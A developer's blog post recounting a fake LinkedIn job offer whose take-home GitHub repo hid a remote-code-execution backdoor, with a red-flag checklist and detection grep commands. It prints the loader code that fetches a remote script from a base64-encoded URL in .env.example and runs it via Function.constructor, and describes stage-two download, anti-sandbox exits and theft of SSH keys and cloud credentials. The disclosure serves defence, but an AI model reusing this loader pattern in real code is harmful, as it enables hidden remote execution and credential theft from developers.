June 19, 2026
RCE Backdoor: I Almost Got Owned by a Fake Metatheory Job Interview
How a LinkedIn recruiter’s “take-home project” was actually a malicious GitHub repo with remote code execution
Vishesh Sinha
12 min read
About author
I'm Vishesh Sinha, a backend engineer with ~4 years of experience shipping Node.js services. I lean paranoid on security, not because I'm an expert, but because I've seen enough .env footguns to know that "just run the README" isn't always innocent.
That instinct is the only reason this story ends with a blog post instead of a compromised laptop.
Intro
A LinkedIn recruiter named Stasii Podlisnyi offered me a Metatheory job, sent a GitHub repo, and asked me to review it locally. The repo contains a deliberate RCE backdoor that fetches obfuscated malware on server startup. I didn't run it. Here's the full story and technical breakdown.
How It Started
It started on LinkedIn, the platform where recruiters reach out daily and most messages are noise. This one looked legitimate (did it?).
Stasii Podlisnyi reached out on a Thursday at 6:39 PM. His headline: Finance | Crypto Expert | Web3 | Crypto | Growth. He said he was impressed by my background and was hiring a Full-Stack Engineer at Metatheory: fully remote, part-time or full-time.
The numbers were attractive enough to keep reading:
- $6K–8K USD/month
- 20–30 hours/week (message marked "Edited")
The conversation followed a familiar hiring pattern:
- Initial outreach about the role
- Request for my CV / Resume, I sent it
- Next step: a technical assessment, review their codebase and send back a brief document
That's standard for senior Web3/full-stack roles. Take-home reviews and "tell us what you'd improve" docs are normal.
I had no reason to suspect anything yet.
The Ask
Follow-up message with repo link and assessment tasks
Later that evening, 9:06 PM, Stasii followed up with the technical assessment.
He wrote that they're involved in multiple projects using JS, TS, Python, and Java, and that the "initial version and documentation" for one project were complete. Then came the ask, evaluate my abilities by reviewing this repo:
https://github.com/metatheory-hub/W3GLPG
Send back improvements based on my insights. If it goes well, a meeting with the "team lead" follows.
The document should cover:
- Fixing remained issues
- Enhancing UI/UX
- Integrating EVM and NFTs
- Enhancing AI logic and level
- Expanding platform functionality
Reasonable scope. Plausible for a Web3 gaming company. Exactly what a hiring manager might request before a final round.
And, critically, the kind of ask that nudges you to clone the repo and run it locally to write anything credible.
That's the trap.
Recruiter Profile
Stasii Podlisnyi's profile lists Edmonton, Alberta, Canada. But LinkedIn's "About this member" panel tells a different story:
- Identity verified using a government ID issued by Ukraine (October 2023)
- Account created October 2023, relatively new
- Contact info updated less than a year ago
Canada location vs Ukraine government ID verification
His education, National University of Kyiv-Mohyla Academy, aligns with the Ukrainian verification. The Canadian location may be true, borrowed, or fabricated. I don't know. But a geo vs. identity mismatch on someone pushing a repo you must run locally is a yellow flag.
Other recruiter red flags from his profile:
Contact info: generic Gmail, connected June 2026
- Email:
newacak3@gmail.com,not@metatheory.comor any corporate domain - 500+ connections and a polished headshot : social proof without institutional backing
- "Blockchain Headhunter" title with crypto/Web3 keywords , targets the right victims
Legitimate recruiters usually have a coherent footprint: company email, consistent geography, verifiable employer history. This profile had reach and verification badges, but the details didn't fully line up.
GitHub org
The repo lives under metatheory-hub , not Metatheory's actual org. I dug into the org before cloning.
What I found:
- A bunch of public repos, all with a similar vibe
- Most had only 1–2 commits, dated roughly 2–3 months back
- No ongoing activity, no regular contributors, no issue threads, no PR history that looks like real product work
- The pattern felt like template repos: just enough surface area to look like a company codebase, not enough to be something people actually maintain
Real engineering orgs leave traces: bug fixes, dependency bumps, messy history. This looked manufactured.
metatheory-hub org : 11 repos, mix of shallow bait and high-star forks
Notable repos in the org:
- W3GLPG — the trojanized casino app (0 stars)
- privacy-coin-core, fast-racing, Solana-Token-Presale, nft-marketplace — shallow, few commits
- runner (1.3k stars), ibc-go (766 stars) — likely forked popular projects to make the org look legitimate
The pattern: sprinkle high-star forks next to empty bait repos. Quick glance at the org = "real Web3 shop." Closer look = manufactured.
W3GLPG repo — single init commit, 0 stars, mydatabase.db committed
Now here things gets interesting:
The commit author — legitimate dev or stolen identity?
Git shows a single init commit by GitHub user jannden (display name Jan Cibulka, email jc@pntr.eu). I traced the account:
- GitHub: github.com/jannden
- LinkedIn: linkedin.com/in/jancibulka
jannden GitHub :— active contributor at Famedly, blockrunners pinnedJan Cibulka LinkedIn :— Rust Developer at Famedly, Sofia Bulgaria
On the surface, Jan looks like a real developer:
- Rust Developer at Famedly (healthcare tech), based in Sofia, Bulgaria
- Active GitHub: 1,161 contributions/year, pinned blockrunners (Solana roguelite)
- LinkedIn shows Rust, Solidity, blockchain : credible Web3 background
But none of that connects to Metatheory, a JavaScript casino app, or the metatheory-hub org:
- His public work is Rust/TypeScript at Famedly — not Node casino games
- W3GLPG doesn't appear in his pinned repos or contribution summary
The commit could be:
- Spoofed author metadata (Git allows arbitrary
user.name/user.emailwithout account verification) - A compromised account pushing one malicious repo under a real identity
- Something else entirely , no way to know from outside
I want to be clear: I am not accusing Jan Cibulka of anything. Attackers routinely abuse real developers' names because a quick Google of "who committed this?" returns a legitimate person. The mismatch between his real profile (Famedly/Rust/Sofia) and this repo (Metatheory/Node/casino) is what raised my suspicion — not his reputation.
I will be contacting him personally over linkedIn & sending this Article to bring this incident on his radar so that he can takes any steps necessary from his end incase this is an identity fraud.
Now the game begins : .env.example
This is where, where my radars went on & experience actually kicked in
I know how .env.example works in the wild. Teams copy it to .env for local dev. Some projects , including this one, load .env.example directly when no .env exists, like this:
require('dotenv').config({ path: '.env.example' });require('dotenv').config({ path: '.env.example' });That's a pattern I've used myself over ~4 years of Node/backend work. It's convenient. It's also a convenient delivery mechanism for malware config if you're not paying attention.
When I read the env file, several things didn't belong:
PAYTM keys — Paytm is an Indian payments/fintech aggregator. This is a casino gaming demo with SQLite. There is zero reason for PAYTM_MID, PAYTM_MERCHANT_KEY, PAYTM_WEBSITE, etc. to be in this project. Those keys are classic copy-paste boilerplate from unrelated e-commerce templates or deliberate noise to make the file look "production-grade."
JWT_SECRET and COOKIE_VALUE didn't look random. Real example files usually have obvious placeholders like your-secret-here or changeme. These looked structured like someone wanted them to appear credible at a glance:
JWT_SECRET=WFFWf15115U842UGUBWF81EE858UYBY51BGBJ5E51Q
COOKIE_VALUE=aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9IWTZNNg==JWT_SECRET=WFFWf15115U842UGUBWF81EE858UYBY51BGBJ5E51Q
COOKIE_VALUE=aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9IWTZNNg==The COOKIE_VALUE in particular, a long base64-looking string for something named like a session cookie : was the hook. I decoded it mentally as "this might be a URL" before I ever confirmed the backdoor. (It decodes to https://www.jsonkeeper.com/b/HY6M6) ) what did it held ?
The rest of the file is a greatest-hits of unrelated services: MongoDB, Stripe, Sendgrid, Cloudinary, SMTP, none of which this app uses. The project runs SQLite. The frontend talks to a hardcoded Render URL. The .env.example is a decoy config sheet designed to look like a serious production app and smuggle in one malicious variable.
That combination, familiar dev pattern (.env.example fallback) + unfamiliar values (Paytm in a blackjack app) + too-perfect-looking secrets is what made me read server/ before running anything.
.env.example — PAYTM block (GitHub search).env.example — PAYTM_MERCHANT_KEY highlighted.env.example — JWT_SECRET and COOKIE_VALUE
The decision: read first, never npm run dev
None of these alone is proof of malware. Together they were enough:
Signal & Why it mattered
- Stasii: Canada vs Ukraine ID, Trust breakdown
- Stasii: Gmail not corporate, Not a Metatheory employee
- Shallow org repos, Not a real product shop
- Commit Author : jannden: Famedly/Rust ≠ Metatheory/Node, Possible identity abuse
- PAYTM in a casino demo, Copy-paste / fake template
- Structured
COOKIE_VALUE, Encoded payload (jsonkeeper URL) .env.exampleloaded at runtime, Attack surface which I recognize
Bottom line, now I am not treating it like an interview, this a Security Incident I am dealing with.
So, What I Did Instead of npm run dev?
Instead of following the README:
npm install
npm run devnpm install
npm run devI, instead:
- Read the source first — no install, no server start
- Scanned for suspicious patterns —
eval,Function.constructor,child_process, base64 env vars, postinstall hooks - Found the backdoor in
server/errorHandler.cjs - Decoded
COOKIE_VALUEin.env.example→ pointed to jsonkeeper.com - Fetched the remote payload (read-only, in browser) — heavily obfuscated JS
- Compressed the repo for evidence
- Deleted the working copy from my machine
I never ran npm i or npm run dev.
The Repo: metatheory-hub/W3GLPG, overview:
Detail & what Value does it give?
- URL: github.com/metatheory-hub/W3GLPG
- Commits: 1 (
init) - GitHub user:
jannden(Jan Cibulka,jc@pntr.eu) , see my write up on Commit Author above in same Article - Recruiter: Stasii Podlisnyi, you already know who this is by now.
- Stars / Forks: 0 / 0
- Stack: React (Vite) + Express + SQLite
- Stated goal: Web3 gaming platform with EVM/NFT roadmap
- Org pattern: Multiple public repos, 1–2 commits each, ~2–3 months old, no regular contributors
On the surface: a normal full-stack casino demo.
Under the hood: a supply-chain-style RCE (remote code execution) backdoor in the server startup path.
The frontend also hardcodes API calls to a third-party backend (capstone-casino-backend.onrender.com) , so even the "legitimate" app path sends credentials to someone else's server. The local server backdoor is the worse threat.
Kill Chain — How the Attack Works:
Recruiter->>Dev: LinkedIn job offer + repo link
Recruiter->>Dev: Send improvement doc (requires local run)
Dev->>Repo: git clone
Dev->>Server: npm run dev (IF compromised)
Server->>Server: Load .env.example COOKIE_VALUE
Server->>JK: GET atob(COOKIE_VALUE)
JK-->>Server: JSON with obfuscated JS payload
Server->>Server: Function.constructor executes payload
Server->>C2: Download stage 2
Server->>Server: Write to tmpdir + child_process exec
Server->>Attacker: Exfiltrate SSH keys, env, credentials Recruiter->>Dev: LinkedIn job offer + repo link
Recruiter->>Dev: Send improvement doc (requires local run)
Dev->>Repo: git clone
Dev->>Server: npm run dev (IF compromised)
Server->>Server: Load .env.example COOKIE_VALUE
Server->>JK: GET atob(COOKIE_VALUE)
JK-->>Server: JSON with obfuscated JS payload
Server->>Server: Function.constructor executes payload
Server->>C2: Download stage 2
Server->>Server: Write to tmpdir + child_process exec
Server->>Attacker: Exfiltrate SSH keys, env, credentialsAttack type: Fake hiring / technical assessment → trojanized repo → remote code execution → multi-stage malware.
The Smoking Gun: server/errorHandler.cjs
errorHandler.cjs on GitHub : Function.constructor + atob(COOKIE_VALUE)
The backdoor lives in a file named to look innocent — errorHandler.cjs. It exports getCookie, which sounds like Express cookie middleware.
Trigger — called automatically on server start in server/index.cjs:
require('dotenv').config({ path: '.env.example' });
// ...
getCookie(); // runs on every server bootrequire('dotenv').config({ path: '.env.example' });
// ...
getCookie(); // runs on every server bootConfig — .env.example contains:
COOKIE_VALUE=aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9IWTZNNg==COOKIE_VALUE=aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9IWTZNNg==Base64 decode → https://www.jsonkeeper.com/b/HY6M6
Execution — the "error handler":
const getCookie = async () => {
axios.get(atob(process.env.COOKIE_VALUE)).then(res => {
errorHandler(res.data.content) // remote JS string
});
};
const errorHandler = (error) => {
const handler = new (Function.constructor)('require', error);
handler(require); // RCE with full Node require() access
};const getCookie = async () => {
axios.get(atob(process.env.COOKIE_VALUE)).then(res => {
errorHandler(res.data.content) // remote JS string
});
};
const errorHandler = (error) => {
const handler = new (Function.constructor)('require', error);
handler(require); // RCE with full Node require() access
};Four layers of disguise:
Layer, Disguise, Reality
- Filename:
errorHandler.cjs, But? it's a Backdoor module - Function:
getCookie(), But? it's a Remote payload fetcher - Env var:
COOKIE_VALUE, But? it's a Base64-encoded malware URL - Config:
.env.example, But? it gets, Loaded automatically — no.envcopy needed
The Payload on JSON Keeper
The jsonkeeper response at https://www.jsonkeeper.com/b/HY6M6 is a JSON object with one key : "content" : containing heavily obfuscated JavaScript. I captured it in two parts because the payload is enormous.
Part 1 — Stager/downloader (obfuscated webpack-style bundle):
Part 2 — Anti-sandbox block (plaintext env checks visible):
Even through obfuscation, Part 2 visibly checks for cloud/sandbox environments and calls process.exit(1) if detected — meaning this malware is designed to only run on real developer laptops, not in Docker, Vercel, Codespaces, AWS Lambda, etc.
{
"content": "<massive obfuscated JavaScript string>"
}{
"content": "<massive obfuscated JavaScript string>"
}The payload is not simple exfiltration code. Static analysis shows three blocks:
Block 1 — Stager / Downloader
- Loads Node modules:
os,fs,path,child_process,https - Builds a hidden HTTPS URL from RC4-obfuscated strings
- Spawns hidden child process (
windowsHide: true) - Downloads stage 2 from a second URL
- Writes to
os.tmpdir()and executes it
Block 2 — Anti-Sandbox
Exits immediately if running in:
- GitHub Codespaces, CodeSandbox, Vercel, Render, Heroic
- AWS Lambda, GCP, Azure Functions
- Docker containers
- WSL / Microsoft kernel (
os.release().includes('microsoft'))
Purpose: Only infect real developer laptops. Security researchers analyzing in cloud sandboxes see nothing.
[I was actually thinking of doing this, before I found the failsafe immediate exit so no point releasing this in a Container & trying to backtrace its Command Center IP]
Block 3 — Hostname Blacklist
[]['includes'](require('os').hostname()) && process.exit(1);[]['includes'](require('os').hostname()) && process.exit(1);Empty array = disabled for now. Attacker can add analyst hostnames remotely without changing the repo.
Where does data go?
- jsonkeeper hosts the stager only
- Stage 2 (downloaded at runtime) likely POSTs stolen data to a separate C2 server
- The exfil URL is hidden inside the obfuscated string table — not visible in the repo or jsonkeeper payload directly
Now, What Would Have Happened If I Ran It?
On my Mac, with no sandbox env vars set:
On my Mac, with no sandbox env vars set, timeline would have been something like this:
- T+0s:
npm run devstarts Express server - T+0s:
getCookie()fires automatically - T+1s: Fetches obfuscated JS from jsonkeeper
- T+1s:
Function.constructorexecutes it withrequire - T+2s: Anti-sandbox checks pass (native macOS)
- T+3s: Hidden
child_processspawn in home directory - T+5s: Downloads stage 2 to
/var/folders/.../T/ - T+5s: Executes stage 2 silently
- T+10s+: SSH keys,
.aws/credentials,.npmrc, shell history exfiltrated
I'd still see:
connected to DB
Listening on Port 8080...connected to DB
Listening on Port 8080...The casino app would even work — while malware runs in the background.
What the attacker gets:
~/.ssh/id_rsa/id_ed25519- Cloud credentials (AWS, GCP, Azure env vars)
- npm tokens, GitHub tokens in env files
- Shell history (often contains secrets if you cat / dump logs)
- Potential access to employer networks via VPN configs
- Ability to pivot to production deployments
Now in this day & age how should you protect yourself from such attacks?, Red Flags Checklist:
Use this if a recruiter sends you a repo:
Repo signals:
- Single
initcommit, no real development history - 0 stars, 0 forks, new org name similar to a real company
- README promises Web3/AI/NFT to attract senior devs
.env.exampleloaded directly in server code (not.env)COOKIE_VALUEor other base64 env varsFunction,eval,child_processin unexpected filesgetCookie()called at startup with no cookie logic elsewhere- Frontend points to third-party API, not localhost
Recruiter signals (Stasii Podlisnyi case):
- Pressure to run locally before reviewing
- Generic Gmail (
newacak3@gmail.com) instead of company email - Location vs. identity verification mismatch (Edmonton, Canada vs Ukraine govt ID)
- Claims Metatheory but repo is under unrelated
metatheory-huborg - Assessment ask broad enough to require full local setup
- Attractive comp ($6K–8K/mo) + remote flexibility — classic hook
Org / commit signals:
- GitHub org with many repos but all shallow (1–2 commits, months old, no contributors)
- Single
initcommit with malware — no organic dev history - Commit author looks legitimate on LinkedIn but unrelated to the claimed company
- Author's public contribution graph doesn't line up with commit date (possible spoofed metadata)
.env.example signals:
- Unrelated payment provider keys (e.g. Paytm in a non-Indian, non-payment app)
- Boilerplate for MongoDB/Stripe/Sendgrid when app uses SQLite
JWT_SECRET/COOKIE_VALUEthat look structured, not placeholder-random- Base64 values in env vars — decode before trusting
- Server loads
.env.exampledirectly when.envis missing (convenient for attackers)
Safe workflow:
- Read code before
npm install - Grep for
eval,Function.constructor,atob,child_process,post install - Decode suspicious base64 in env files
- Never run untrusted repos on your main machine, try provisioning a VM / EC2 if you can or an old laptop which is scrubbed clean of your essentials
Before running any recruiter repo:
# Quick static scan — no execution
grep -rE "Function\.constructor|eval\(|atob\(|child_process|execSync|COOKIE_VALUE" .
grep -E "postinstall|preinstall|prepare" package.json# Quick static scan — no execution
grep -rE "Function\.constructor|eval\(|atob\(|child_process|execSync|COOKIE_VALUE" .
grep -E "postinstall|preinstall|prepare" package.jsonIf you already cloned:
- Don't
npm installornpm run devuntil reviewed - Use a disposable VM or Codespace for analysis only (note: this malware exits in sandboxes, attackers expect you to run on bare metal)
- For malware analysis: isolated VM with no SSH keys, no network to production
If you already ran it:
- Kill the process immediately
- Check
~/.ssh/authorized_keysfor unknown keys - Check
~/.zshrc,~/.bash_profilefor new lines - Rotate: SSH keys, GitHub tokens, npm tokens, AWS/cloud creds
- Check
launchctl list(macOS) for unknown agents - Preserve evidence: zip the repo, save jsonkeeper payload screenshot
Reporting status:
If you're reading this means I have initiated a reporting protocol, I am reporting this REPO & Org to GitHub, the Recruiter's Profile to LinkedIn & posting on LinkedIn with this Medium Article to warn other developers, also Reporting JSONKEEPER bucket for hosting malicious code
Conclusion
This wasn't a vulnerability. It wasn't sloppy code. It was a deliberate, multi-stage attack designed to compromise developers during fake job interviews.
The playbook:
- Gain trust — LinkedIn recruiter, real-sounding company name
- Get the resume — establishes legitimacy
- Send the trojan — GitHub repo that looks like a real take-home
- Create urgency to run locally — "send us your improvement doc"
- Execute silently — backdoor on
npm run dev, disguised as cookie middleware - Evade analysis — anti-sandbox checks, obfuscated payloads, remote hosting
I got lucky, or careful, by reading before running.
Paranoid habits aren't paranoia when the threat is real.
If you're a developer getting repo-based assessments: the code review IS the interview. You don't need to run it to have opinions on architecture, security, UI, and EVM integration. And if Stasii Podlisnyi, or anyone like him pressures you to npm run dev on an unfamiliar repo from a stranger with a Gmail address, that's not a hiring step. That's an attack.